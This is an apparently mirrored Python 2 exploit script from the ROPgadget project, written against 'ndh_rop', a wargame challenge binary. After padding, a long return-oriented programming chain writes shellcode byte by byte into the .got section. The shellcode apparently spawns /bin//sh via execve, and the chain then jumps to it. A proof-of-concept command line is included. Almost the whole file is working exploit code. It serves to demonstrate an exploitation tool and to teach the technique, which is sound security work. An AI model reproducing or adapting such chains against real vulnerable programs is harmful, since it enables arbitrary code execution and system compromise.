mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
244 lines
10 KiB
Python
Executable File
244 lines
10 KiB
Python
Executable File
#!/usr/bin/python2
|
|
# Test RopGadget payload in ndh_rop binary
|
|
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
|
|
#
|
|
# poc: ./ndh_rop "$(python2 ./exploit.py)"
|
|
|
|
from struct import pack
|
|
|
|
p = "a" * 12
|
|
# Shellcode imported! Generated by RopGadget v3.1
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08048e82) # @ 0x6a
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd98c) # @ .got + 0
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x0804986d) # @ 0x0b
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd98d) # @ .got + 1
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x0804a2bc) # @ 0x58
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd98e) # @ .got + 2
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080523cd) # @ 0x99
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd98f) # @ .got + 3
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08052b90) # @ 0x52
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd990) # @ .got + 4
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08052bac) # @ 0x68
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd991) # @ .got + 5
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08052dc2) # @ 0x2f
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd992) # @ .got + 6
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08052dc2) # @ 0x2f
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd993) # @ .got + 7
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08052f02) # @ 0x73
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd994) # @ .got + 8
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080533af) # @ 0x68
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd995) # @ .got + 9
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080533af) # @ 0x68
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd996) # @ .got + 10
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08054405) # @ 0x2f
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd997) # @ .got + 11
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080549f4) # @ 0x62
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd998) # @ .got + 12
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08055b7e) # @ 0x69
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd999) # @ .got + 13
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x0805625d) # @ 0x6e
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99a) # @ .got + 14
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x0805626a) # @ 0x89
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99b) # @ .got + 15
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08056c59) # @ 0xe3
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99c) # @ .got + 16
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08056c88) # @ 0x31
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99d) # @ .got + 17
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x08056da9) # @ 0xc9
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99e) # @ .got + 18
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080573df) # @ 0xcd
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd99f) # @ .got + 19
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x0805749d) # @ 0x80
|
|
p += pack("<I", 0x080c3791) # mov (%edx),%ecx | ret
|
|
p += pack("<I", 0x0809956c) # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x42424242)
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .got + 20
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x080cd98c) # exec our shellcode in .got
|
|
print p
|